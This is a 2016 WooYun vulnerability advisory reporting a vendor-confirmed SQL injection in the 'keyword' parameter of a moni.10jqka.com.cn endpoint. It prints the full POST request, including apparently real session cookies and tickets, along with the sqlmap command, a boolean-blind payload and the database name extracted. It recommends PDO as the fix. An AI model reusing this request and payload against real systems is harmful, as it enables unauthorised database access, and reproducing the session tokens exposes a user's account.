当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198897

漏洞标题:同花顺某处SQL注入

相关厂商:同花顺

漏洞作者: null_z

提交时间:2016-04-21 17:59

修复时间:2016-06-05 20:40

公开时间:2016-06-05 20:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

SQL注入

详细说明:

注入参数 keyword sqlmap要指定risk 3 不然不检测or

POST /mcgiwt/comtest/hots HTTP/1.1
Host: moni.10jqka.com.cn
Origin: http://moni.10jqka.com.cn
Content-Length: 38
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Host: moni.10jqka.com.cn
Accept: application/json
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D201 IHexin/9.94.01 (Royal Flush) userid/332028164 innerversion/I037.08.224 build/9.94.01 hxtheme/0 hxFont/normal
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://moni.10jqka.com.cn/mcgiwt/index/nindex
Cookie: PHPSESSID=9i60lopg0nf6top01nce22up12; cityFromGPS=%E6%AD%A6%E6%B1%89%E5%B8%82; escapename=ionclickURLn; pid589399006=62957384; ticket=17a85958946da3cf1edb00d146ded79a; u_name=ionclickURLn; user=MDppb25jbGlja1VSTG46Ok5vbmU6NTAwOjM0MjAyODE2NDo3LDExMTExMTExMTExLDQwOzQ0LDExLDQwOzYsMSw0MDs1LDEsNDA6Ojo6MzMyMDI4MTY0OjE0NjEyMjE0NDY6OjoxNDYwOTg0MjgwOjM0MjQxNTQ6MA%3D%3D; userid=332028164
Content-Type: application/x-www-form-urlencoded
page=1&keyword=1*

漏洞证明:

sqlmap -r 1.txt --dbms=mysql  --risk=3 --current-db


屏幕快照 2016-04-21 15.20.32.png


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload:
page=1&keyword=-1440%' OR 8386=8386 AND '%'='
---
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL >= 5.0.0
current database: 'mncg'

修复方案:

建议用PDO防止注入

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-21 20:39

厂商回复:

你好,漏洞已确认,在进行处理,谢谢。

最新状态:

暂无


漏洞评价:

评价